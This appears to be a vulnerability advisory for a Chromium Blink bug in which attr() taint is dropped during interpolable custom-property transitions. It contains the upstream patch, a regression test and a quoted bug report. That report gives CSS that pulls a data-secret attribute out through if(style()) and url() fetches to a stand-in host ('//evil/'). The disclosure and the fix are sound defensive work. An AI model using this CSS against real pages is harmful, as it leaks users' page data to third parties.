CVE-2026-79293
Overview
Background
- `attr()` tainting
- Blink marks CSS values derived from DOM attributes via
attr()as “attr-tainted” (CSSVariableData::IsAttrTainted()) so that potentially sensitive attribute data cannot be exfiltrated through side channels such asurl()fetches orif(style())queries. - Custom property transition
- A CSS
transitionon a registered custom property (e.g.@property --n) that produces interpolated intermediate values through the animation pipeline (TransitionKeyframe,TransitionInterpolation,CSSInterpolationType). - Interpolable vs. discrete transition
- An interpolable transition numerically blends
startandendvalues, whereas a discrete transition swaps between them; the pre-patch code only computed the taint flag on the discrete/early-exit path. - `if(style())` disclosure vector
- A conditional style query (
background-image: if(style(--n: 42): url(...))) can turn the presence of a particular computed value into an observable network request, so an untainted attribute value becomes exfiltratable.
Root Cause Analysis
Before the patch, is_attr_tainted in css_animations.cc was computed only inside the if (!start || !end) block — i.e. only when the transition fell back to the discrete CSSDefaultNonInterpolableValue path. For a normal interpolable custom-property transition, start and end were both present, so that block was skipped and is_attr_tainted stayed false, “laundering” away the taint even though the underlying attr()-derived value was still flowing through the interpolation. The interpolated value was then applied via CSSInterpolationType::ApplyCustomPropertyValue() with only StyleBuilder::ValueMode::kAnimated, never kAttrTainted, so the resulting computed custom-property value was no longer marked tainted and could be probed with if(style()).
The fix hoists the is_attr_tainted computation to the common path (before the !start || !end check), stores it on both the start and end TransitionKeyframes via SetIsAttrTainted(), threads it through TransitionInterpolation into CSSInterpolationEnvironment::SetIsAttrTainted(), and finally re-applies the kAttrTainted value-mode flag in ApplyCustomPropertyValue() so the interpolated result stays tainted.
attr() taint; the fix moves the computation to the shared path and propagates the flag all the way through the keyframe/interpolation pipeline to the final StyleBuilder::ApplyProperty() call.Attack Path
- Register a tainted custom property
The page declares
@property --n { syntax: "<number>" }and sets--n: attr(data-foo type(<number>)), so--n’s value derives from an attacker/observer-relevant DOM attribute and is attr-tainted at rest. - Trigger an interpolable transition
Using
transition: --n ...together with@starting-style, the value transitions from0toward theattr()-derived value, forcing an interpolable transition where bothstartandendare non-null. - Launder the taint
Because
is_attr_taintedwas only set on the!start || !endbranch, the interpolated--nis applied throughApplyCustomPropertyValue()withoutkAttrTainted, producing an untainted computed value. - Observe the value via `if(style())`
The page uses
background-image: if(style(--n: 42): url(...))(or a range querystyle(--n >= 40)); since the value is no longer tainted, the guardedurl()is allowed to fetch, converting the attribute value into an observable network request. (inferred: exact exfiltration channel beyond theurl()fetch in the shipped test.)
Impact Assessment
attr()-derived custom property that should have been quarantined, defeating the attr() security boundary and enabling information disclosure of attribute-sourced data within the renderer/CSS engine. The advisory classifies this as an information leak in Animation with no statement of in-the-wild exploitation; any escalation beyond disclosure of the tainted value is (inferred). Preconditions are purely content-driven: the page must define a registered custom property fed by attr() and an interpolable transition on it, both achievable from untrusted web content.Changed Functions
| Function | Change | Notes |
|---|---|---|
ifthird_party/blink/renderer/core/animation/css/css_animations.cc |
modified | |
compositor_end_third_party/blink/renderer/core/animation/transition_interpolation.h |
modified | |
is_attr_tainted_third_party/blink/renderer/core/animation/transition_interpolation.h |
modified | |
compositor_value_third_party/blink/renderer/core/animation/transition_keyframe.h |
modified | |
is_attr_tainted_third_party/blink/renderer/core/animation/transition_keyframe.h |
modified |
Files Changed
third_party/blink/renderer/core/animation/transition_interpolation.ccthird_party/blink/renderer/core/animation/css_interpolation_environment.hthird_party/blink/renderer/core/animation/transition_keyframe.ccthird_party/blink/renderer/core/animation/css_default_interpolation_type.hthird_party/blink/web_tests/external/wpt/css/css-values/attr-security-transition-interpolated.htmlthird_party/blink/renderer/core/animation/transition_keyframe.hthird_party/blink/renderer/core/animation/css/css_animations.ccthird_party/blink/renderer/core/animation/transition_interpolation.hthird_party/blink/renderer/core/animation/css_interpolation_type.ccthird_party/blink/renderer/core/animation/css_interpolation_type.h
Audit Directions
- Taint computed on a subset of branchesAudit any security/taint flag (attr taint, opaqueness, cross-origin markers) that is set inside a conditional early-exit block; verify it is also computed on the primary/common path so alternate code paths cannot launder it away.
- Flag not propagated across pipeline boundariesFollow taint or provenance flags through every hop of the animation/interpolation pipeline (keyframe → interpolation → environment →
StyleBuilder::ApplyProperty), since a value that is re-serialized or re-applied can drop metadata unless each stage explicitly forwards it. - `if(style())` and `url()` disclosure sinksLook for other computed-value producers (animations,
env(), container queries, math functions) that feed values observable throughif(style())or conditionalurl()fetches, and confirm attr-tainted inputs remain tainted through those producers.
Patch
From 761a8bf37f3d6974d6998604c1bfa807f6082b99 Mon Sep 17 00:00:00 2001 From: Kevin Babbitt <[email protected]> Date: Mon, 20 Jul 2026 11:56:33 -0700 Subject: [PATCH] Propagate attr() taint through interpolable custom property transitions For custom property transitions, we were calculating is_attr_tainted only in discrete transition cases. This allowed the flag to be laundered away in interpolable transitions. This CL factors is_attr_tainted computation onto the common path and propagates it through the pipeline for interpolable transitions. Fixed: 517746687 Change-Id: I07a965b29838567d746fa48cb270c74c2bbdd6aa Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8102417 Reviewed-by: Kevin Ellis <[email protected]> Commit-Queue: Kevin Babbitt <[email protected]> Cr-Commit-Position: refs/heads/main@{#1664831} --- diff --git a/third_party/blink/renderer/core/animation/css/css_animations.cc b/third_party/blink/renderer/core/animation/css/css_animations.cc index 5b90ab3..5104af07 100644 --- a/third_party/blink/renderer/core/animation/css/css_animations.cc +++ b/third_party/blink/renderer/core/animation/css/css_animations.cc @@ -2660,6 +2660,18 @@ } bool is_attr_tainted = false; + if (property.IsCSSCustomProperty()) { + const Document& document = state.animating_element.GetDocument(); + CSSPropertyName property_name = property.GetCSSPropertyName(); + CSSPropertyRef custom_ref(&property_name, document); + CSSVariableData* old_data = state.old_style.GetVariableData( + property.CustomPropertyName(), custom_ref.GetProperty().IsInherited()); + CSSVariableData* new_data = after_change_style.GetVariableData( + property.CustomPropertyName(), custom_ref.GetProperty().IsInherited()); + is_attr_tainted = (old_data && old_data->IsAttrTainted()) || + (new_data && new_data->IsAttrTainted()); + } + if (!start || !end) { const Document& document = state.animating_element.GetDocument(); const CSSValue* start_css_value = @@ -2691,18 +2703,6 @@ // correctly. If that bug is fixed, then this should never happen. return; } - if (property.IsCSSCustomProperty()) { - CSSPropertyName property_name = property.GetCSSPropertyName(); - CSSPropertyRef custom_ref(&property_name, document); - CSSVariableData* old_data = state.old_style.GetVariableData( - property.CustomPropertyName(), - custom_ref.GetProperty().IsInherited()); - CSSVariableData* new_data = after_change_style.GetVariableData( - property.CustomPropertyName(), - custom_ref.GetProperty().IsInherited()); - is_attr_tainted = (old_data && old_data->IsAttrTainted()) || - (new_data && new_data->IsAttrTainted()); - } start = InterpolationValue( MakeGarbageCollected<InterpolableList>(0), MakeGarbageCollected<CSSDefaultNonInterpolableValue>( @@ -2776,6 +2776,7 @@ transition_type, start.interpolable_value->Clone(), start.non_interpolable_value)); start_keyframe->SetOffset(0); + start_keyframe->SetIsAttrTainted(is_attr_tainted); keyframes.push_back(start_keyframe); TransitionKeyframe* end_keyframe = @@ -2784,6 +2785,7 @@ transition_type, end.interpolable_value->Clone(), end.non_interpolable_value)); end_keyframe->SetOffset(1); + end_keyframe->SetIsAttrTainted(is_attr_tainted); keyframes.push_back(end_keyframe); if (property.GetCSSProperty().IsCompositableProperty() && diff --git a/third_party/blink/renderer/core/animation/css_default_interpolation_type.h b/third_party/blink/renderer/core/animation/css_default_interpolation_type.h index 6e78560..70f1838 100644 --- a/third_party/blink/renderer/core/animation/css_default_interpolation_type.h +++ b/third_party/blink/renderer/core/animation/css_default_interpolation_type.h @@ -32,11 +32,8 @@ private: Member<const CSSValue> css_value_; - // Currently, only non-interpolable <string> types can be used within <url> - // types in CSS. If interpolable types (e.g., <integer>) become usable within - // <url> types in the future (perhaps via a hypothetical 'concat()' function), - // we will need to add an `is_attr_tainted_` flag to other InterpolableValue - // types as well. + // Interpolable types (e.g., <number>) are handled via TransitionKeyframe and + // CSSInterpolationEnvironment::IsAttrTainted() instead. bool is_attr_tainted_; }; diff --git a/third_party/blink/renderer/core/animation/css_interpolation_environment.h b/third_party/blink/renderer/core/animation/css_interpolation_environment.h index 838c1b84..28d983d 100644 --- a/third_party/blink/renderer/core/animation/css_interpolation_environment.h +++ b/third_party/blink/renderer/core/animation/css_interpolation_environment.h @@ -80,6 +80,14 @@ const CSSValue*, const TreeScope*) const; + // Set by the caller of InterpolationType::Apply when one of the values + // being interpolated originated from attr(), so that the applied value can + // be marked as attr-tainted. + bool IsAttrTainted() const { return is_attr_tainted_; } + void SetIsAttrTainted(bool is_attr_tainted) { + is_attr_tainted_ = is_attr_tainted; + } + private: const InterpolationTypesMap& interpolation_types_map_; StyleResolverState* state_ = nullptr; @@ -87,6 +95,7 @@ const ComputedStyle* animation_controls_style_ = nullptr; StyleCascade* cascade_ = nullptr; CascadeResolver* cascade_resolver_ = nullptr; + bool is_attr_tainted_ = false; }; } // namespace blink diff --git a/third_party/blink/renderer/core/animation/css_interpolation_type.cc b/third_party/blink/renderer/core/animation/css_interpolation_type.cc index ee7a47b..eadc81c 100644 --- a/third_party/blink/renderer/core/animation/css_interpolation_type.cc +++ b/third_party/blink/renderer/core/animation/css_interpolation_type.cc @@ -434,7 +434,8 @@ StyleResolverState& state = environment.GetState(); if (GetProperty().IsCSSCustomProperty()) { - ApplyCustomPropertyValue(interpolable_value, non_interpolable_value, state); + ApplyCustomPropertyValue(interpolable_value, non_interpolable_value, + environment); return; } @@ -451,16 +452,22 @@ void CSSInterpolationType::ApplyCustomPropertyValue( const InterpolableValue& interpolable_value, const NonInterpolableValue* non_interpolable_value, - StyleResolverState& state) const { + CSSInterpolationEnvironment& environment) const { DCHECK(GetProperty().IsCSSCustomProperty()); + StyleResolverState& state = environment.GetState(); const CSSValue* css_value = CreateCSSValue(interpolable_value, non_interpolable_value, state); DCHECK(!css_value->IsUnparsedDeclaration()); + CSSProperty::ValueModeFlags value_mode_flags = + static_cast<CSSProperty::ValueModeFlags>( + StyleBuilder::ValueMode::kAnimated); + if (environment.IsAttrTainted()) { + value_mode_flags |= static_cast<CSSProperty::ValueModeFlags>( + StyleBuilder::ValueMode::kAttrTainted); + } StyleBuilder::ApplyProperty(GetProperty().GetCSSPropertyName(), state, - *css_value, - static_cast<CSSProperty::ValueModeFlags>( - StyleBuilder::ValueMode::kAnimated)); + *css_value, value_mode_flags); } } // namespace blink diff --git a/third_party/blink/renderer/core/animation/css_interpolation_type.h b/third_party/blink/renderer/core/animation/css_interpolation_type.h index f12563c..75e36bc 100644 --- a/third_party/blink/renderer/core/animation/css_interpolation_type.h +++ b/third_party/blink/renderer/core/animation/css_interpolation_type.h @@ -117,7 +117,7 @@ void ApplyCustomPropertyValue(const InterpolableValue&, const NonInterpolableValue*, - StyleResolverState&) const; + CSSInterpolationEnvironment&) const; WeakMember<const PropertyRegistration> registration_; }; diff --git a/third_party/blink/renderer/core/animation/transition_interpolation.cc b/third_party/blink/renderer/core/animation/transition_interpolation.cc index 8c91f74..6cb0a9f 100644 --- a/third_party/blink/renderer/core/animation/transition_interpolation.cc +++ b/third_party/blink/renderer/core/animation/transition_interpolation.cc @@ -7,6 +7,7 @@ #include <memory> #include "third_party/blink/renderer/core/animation/css/compositor_keyframe_value.h" +#include "third_party/blink/renderer/core/animation/css_interpolation_environment.h" #include "third_party/blink/renderer/core/animation/typed_interpolation_value.h" namespace blink { @@ -49,6 +50,7 @@ void TransitionInterpolation::Apply( CSSInterpolationEnvironment& environment) const { + environment.SetIsAttrTainted(is_attr_tainted_); type_->Apply(CurrentInterpolableValue(), CurrentNonInterpolableValue(), environment); } diff --git a/third_party/blink/renderer/core/animation/transition_interpolation.h b/third_party/blink/renderer/core/animation/transition_interpolation.h index 8b1a8ab..b9ca6fb 100644 --- a/third_party/blink/renderer/core/animation/transition_interpolation.h +++ b/third_party/blink/renderer/core/animation/transition_interpolation.h @@ -47,14 +47,16 @@ InterpolationValue&& start, InterpolationValue&& end, CompositorKeyframeValue* compositor_start, - CompositorKeyframeValue* compositor_end) + CompositorKeyframeValue* compositor_end, + bool is_attr_tainted = false) : property_(property), type_(type), start_(std::move(start)), end_(std::move(end)), merge_(type->MaybeMergeSingles(start_.Clone(), end_.Clone())), compositor_start_(compositor_start), - compositor_end_(compositor_end) { + compositor_end_(compositor_end), + is_attr_tainted_(is_attr_tainted) { // Incredibly speculative CHECKs, to try and get any insight on // crbug.com/826627. Somehow a crash is happening in this constructor, which // we believe is based on |start_| having no interpolable value. However a @@ -108,6 +110,7 @@ const PairwiseInterpolationValue merge_; const Member<CompositorKeyframeValue> compositor_start_; const Member<CompositorKeyframeValue> compositor_end_; + const bool is_attr_tainted_; mutable std::optional<double> cached_fraction_; mutable int cached_iteration_ = 0; diff --git a/third_party/blink/renderer/core/animation/transition_keyframe.cc b/third_party/blink/renderer/core/animation/transition_keyframe.cc index fd82577..7f4d7d2 100644 --- a/third_party/blink/renderer/core/animation/transition_keyframe.cc +++ b/third_party/blink/renderer/core/animation/transition_keyframe.cc @@ -97,8 +97,8 @@ EffectModel::CompositeOperation composite = composite_.value_or(effect_composite); return MakeGarbageCollected<PropertySpecificKeyframe>( - CheckedOffset(), &Easing(), composite, value_->Clone(), - compositor_value_); + CheckedOffset(), &Easing(), composite, value_->Clone(), compositor_value_, + is_attr_tainted_); } Interpolation* @@ -110,8 +110,8 @@ DCHECK(value_->GetType() == other.value_->GetType()); return MakeGarbageCollected<TransitionInterpolation>( property, value_->GetType(), value_->Value().Clone(), - other.value_->Value().Clone(), compositor_value_, - other.compositor_value_); + other.value_->Value().Clone(), compositor_value_, other.compositor_value_, + is_attr_tainted_ || other.is_attr_tainted_); } void TransitionKeyframe::PropertySpecificKeyframe::Trace( diff --git a/third_party/blink/renderer/core/animation/transition_keyframe.h b/third_party/blink/renderer/core/animation/transition_keyframe.h index 0e3b2fd..8949a53 100644 --- a/third_party/blink/renderer/core/animation/transition_keyframe.h +++ b/third_party/blink/renderer/core/animation/transition_keyframe.h @@ -51,7 +51,8 @@ copy_from.composite_, copy_from.easing_), value_(copy_from.value_->Clone()), - compositor_value_(copy_from.compositor_value_) {} + compositor_value_(copy_from.compositor_value_), + is_attr_tainted_(copy_from.is_attr_tainted_) {} void SetValue(TypedInterpolationValue* value) { // Speculative CHECK to help investigate crbug.com/826627. The theory is @@ -63,6 +64,9 @@ value_ = value; } void SetCompositorValue(CompositorKeyframeValue*); + void SetIsAttrTainted(bool is_attr_tainted) { + is_attr_tainted_ = is_attr_tainted; + } void AddKeyframePropertiesToV8Object(V8ObjectBuilder&, Element*) const override; @@ -74,12 +78,14 @@ scoped_refptr<TimingFunction> easing, EffectModel::CompositeOperation composite, TypedInterpolationValue* value, - CompositorKeyframeValue* compositor_value) + CompositorKeyframeValue* compositor_value, + bool is_attr_tainted) : Keyframe::PropertySpecificKeyframe(offset, std::move(easing), composite), value_(value), - compositor_value_(compositor_value) {} + compositor_value_(compositor_value), + is_attr_tainted_(is_attr_tainted) {} const CompositorKeyframeValue* GetCompositorKeyframeValue() const final { return compositor_value_.Get(); @@ -108,6 +114,7 @@ private: Member<TypedInterpolationValue> value_; Member<CompositorKeyframeValue> compositor_value_; + bool is_attr_tainted_; }; private: @@ -128,6 +135,7 @@ Member<TypedInterpolationValue> value_; Member<CompositorKeyframeValue> compositor_value_; + bool is_attr_tainted_ = false; }; using TransitionPropertySpecificKeyframe = diff --git a/third_party/blink/web_tests/external/wpt/css/css-values/attr-security-transition-interpolated.html b/third_party/blink/web_tests/external/wpt/css/css-values/attr-security-transition-interpolated.html new file mode 100644 index 0000000..8babdc4 --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/css/css-values/attr-security-transition-interpolated.html @@ -0,0 +1,69 @@ +<!DOCTYPE html> +<title>CSS Values and Units Test: attr() security limitations</title> +<link rel="help" href="https://drafts.csswg.org/css-values-5/#attr-security"> +<script src="/resources/testharness.js"></script> +<script src="/resources/testharnessreport.js"></script> + +<style> + @property --n { + syntax: "<number>"; + inherits: false; + initial-value: 0; + } + @property --p { + syntax: "<length>"; + inherits: false; + initial-value: 0px; + } + #attr1 { + --n: attr(data-foo type(<number>)); + transition: --n 1000s steps(1, start); + background-image: if(style(--n: 42): url(https://does-not-exist.test/404.png); else: none); + } + @starting-style { + #attr1 { --n: 0; } + } + #attr2 { + --n: attr(data-foo type(<number>)); + transition: --n 1000s steps(1, start); + background-image: if(style(--n >= 40): url(https://does-not-exist.test/404.png); else: none); + } + @starting-style { + #attr2 { --n: 0; } + } + #attr3 { + --p: attr(data-foo type(<length>)); + transition: --p 1000s steps(1, start); + background-image: if(style(--p: 42px): url(https://does-not-exist.test/404.png); else: none); + } + @starting-style { + #attr3 { --p: 0px; } + } +</style> + +<html> + <body> + <div id="attr1" data-foo="42">div</div> + <div id="attr2" data-foo="42">div</div> + <div id="attr3" data-foo="42px">div</div> + </body> +</html> + +<script> + test(() => { + var elem = document.getElementById("attr1"); + assert_equals(window.getComputedStyle(elem).getPropertyValue("--n"), '42'); + assert_equals(window.getComputedStyle(elem).getPropertyValue("background-image"), 'none'); + }, `Transitioning <number> from attr() should remain attr-tainted in if(style())`); + + test(() => { + var elem = document.getElementById("attr2"); + assert_equals(window.getComputedStyle(elem).getPropertyValue("background-image"), 'none'); + }, `Transitioning <number> from attr() should remain attr-tainted in if(style()) range query`); + + test(() => { + var elem = document.getElementById("attr3"); + assert_equals(window.getComputedStyle(elem).getPropertyValue("--p"), '42px'); + assert_equals(window.getComputedStyle(elem).getPropertyValue("background-image"), 'none'); + }, `Transitioning <length> from attr() should remain attr-tainted in if(style())`); +</script>
Regression Test / PoC
diff --git a/third_party/blink/web_tests/external/wpt/css/css-values/attr-security-transition-interpolated.html b/third_party/blink/web_tests/external/wpt/css/css-values/attr-security-transition-interpolated.html
new file mode 100644
index 0000000..8babdc4
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/css/css-values/attr-security-transition-interpolated.html
@@ -0,0 +1,69 @@
+<!DOCTYPE html>
+<title>CSS Values and Units Test: attr() security limitations</title>
+<link rel="help" href="https://drafts.csswg.org/css-values-5/#attr-security">
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+
+<style>
+ @property --n {
+ syntax: "<number>";
+ inherits: false;
+ initial-value: 0;
+ }
+ @property --p {
+ syntax: "<length>";
+ inherits: false;
+ initial-value: 0px;
+ }
+ #attr1 {
+ --n: attr(data-foo type(<number>));
+ transition: --n 1000s steps(1, start);
+ background-image: if(style(--n: 42): url(https://does-not-exist.test/404.png); else: none);
+ }
+ @starting-style {
+ #attr1 { --n: 0; }
+ }
+ #attr2 {
+ --n: attr(data-foo type(<number>));
+ transition: --n 1000s steps(1, start);
+ background-image: if(style(--n >= 40): url(https://does-not-exist.test/404.png); else: none);
+ }
+ @starting-style {
+ #attr2 { --n: 0; }
+ }
+ #attr3 {
+ --p: attr(data-foo type(<length>));
+ transition: --p 1000s steps(1, start);
+ background-image: if(style(--p: 42px): url(https://does-not-exist.test/404.png); else: none);
+ }
+ @starting-style {
+ #attr3 { --p: 0px; }
+ }
+</style>
+
+<html>
+ <body>
+ <div id="attr1" data-foo="42">div</div>
+ <div id="attr2" data-foo="42">div</div>
+ <div id="attr3" data-foo="42px">div</div>
+ </body>
+</html>
+
+<script>
+ test(() => {
+ var elem = document.getElementById("attr1");
+ assert_equals(window.getComputedStyle(elem).getPropertyValue("--n"), '42');
+ assert_equals(window.getComputedStyle(elem).getPropertyValue("background-image"), 'none');
+ }, `Transitioning <number> from attr() should remain attr-tainted in if(style())`);
+
+ test(() => {
+ var elem = document.getElementById("attr2");
+ assert_equals(window.getComputedStyle(elem).getPropertyValue("background-image"), 'none');
+ }, `Transitioning <number> from attr() should remain attr-tainted in if(style()) range query`);
+
+ test(() => {
+ var elem = document.getElementById("attr3");
+ assert_equals(window.getComputedStyle(elem).getPropertyValue("--p"), '42px');
+ assert_equals(window.getComputedStyle(elem).getPropertyValue("background-image"), 'none');
+ }, `Transitioning <length> from attr() should remain attr-tainted in if(style())`);
+</script>
Original Bug Report
CSS attr() taint laundering via smooth transitions on registered custom properties
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: A security bypass in Blink’s CSS animation logic allows smooth transitions on registered custom properties to launder the CSS attr() taint flag. When a numeric custom property is smoothly interpolated, the taint status is discarded, enabling potential CSS-only data exfiltration of sensitive DOM attributes via style queries.
Affected files:
third_party/blink/renderer/core/animation/css_interpolation_type.ccthird_party/blink/renderer/core/css/properties/longhands/custom_property.ccthird_party/blink/renderer/core/animation/css/css_animations.cc
Estimated timestamp from git blame: 2024-11-29
Root Cause Analysis
The security hardening designed to prevent CSS-only data exfiltration via attr() relies on marking the generated CSSVariableData with is_attr_tainted_ = true. Tainted custom properties cannot be evaluated in conditional queries (e.g., if(style(...)) or @container style(...)) without propagating the taint, which ultimately blocks URL resolution in ConsumeUrlAsToken (css_parsing_utils.cc).
While discrete transitions preserve and propagate the taint via CSSDefaultInterpolationType::Apply (which applies the ValueMode::kAttrTainted flag), smoothly interpolable custom properties (such as registered properties with <number> syntax) bypass this protection.
In third_party/blink/renderer/core/animation/css/css_animations.cc (lines 2659–2712), when a transition begins, if both the old and new values are smoothly interpolable, both start and end interpolation values are successfully resolved. This causes the discrete transition fallback block if (!start || !end) (line 2660) to be skipped. Consequently, the logic that computes is_attr_tainted for custom properties (lines 2691–2701) is never executed:
if (!start || !end) {
...
if (property.IsCSSCustomProperty()) {
is_attr_tainted = (old_data && old_data->IsAttrTainted()) ||
(new_data && new_data->IsAttrTainted());
}
...
}
When the active transition interpolation is applied, CSSInterpolationType::ApplyCustomPropertyValue in third_party/blink/renderer/core/animation/css_interpolation_type.cc is invoked (lines 451–464). It calls StyleBuilder::ApplyProperty with only the ValueMode::kAnimated flag:
StyleBuilder::ApplyProperty(GetProperty().GetCSSPropertyName(), state,
*css_value,
static_cast<CSSProperty::ValueModeFlags>(
StyleBuilder::ValueMode::kAnimated));
Downstream in CustomProperty::ApplyValue (third_party/blink/renderer/core/css/properties/longhands/custom_property.cc), the applied value is a resolved numeric literal (e.g., CSSNumericLiteralValue) rather than a CSSUnparsedDeclarationValue. Therefore, the declaration pointer resolves to nullptr. The taint flag calculation (lines 216–219) resolves to false:
bool is_attr_tainted =
(value_mode & static_cast<ValueModeFlags>(ValueMode::kAttrTainted)) ||
(declaration && declaration->VariableDataValue() &&
declaration->VariableDataValue()->IsAttrTainted());
As a result, a new, untainted CSSVariableData represents the custom property value on the ComputedStyle object, laundering the taint.
Potential Attack Scenario
An attacker could follow these suggested steps to exfiltrate sensitive DOM attributes:
-
Register a numeric custom property via CSS:
@property --n { syntax: "<number>"; inherits: false; initial-value: 0; } -
Bind the registered property to a target element’s sensitive numeric attribute using
attr()and configure a transition:#victim { --n: attr(data-secret type(<number>)); transition: --n 10s steps(1, start); } @starting-style { #victim { --n: 0; } } -
Use conditional CSS style queries to selectively resolve URLs depending on
--n’s value:#victim { background-image: if(style(--n > 4096): url(//evil/gt4096); else: url(//evil/le4096)); } -
Because the transition launders the taint, the conditional evaluation does not mark the resulting URL tokens as tainted, bypassing parser-level URL security checks and initiating the tracking requests.
Note: These steps are based on static analysis of the styling engine, as we do not currently have the environment to execute or run the proof of concept.
Suggested Fix
To remediate this issue, the styling engine must ensure that custom property transition/animation interpolation propagates the is_attr_tainted state during smooth transitions:
- Update the interpolation structures for registered custom properties to carry the
is_attr_taintedflag inside their correspondingNonInterpolableValuesub-classes (resembling howCSSDefaultNonInterpolableValuetracks taint for discrete transitions). - Inside
CSSInterpolationType::ApplyCustomPropertyValue, extract the taint status from theNonInterpolableValueand propagate it asValueMode::kAttrTaintedinside theValueModeFlagswhen invokingStyleBuilder::ApplyProperty.
Evaluated with Chrome root at commit: 5133b93d189b383c37805b1cf3a9d2dbfe8d7379
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.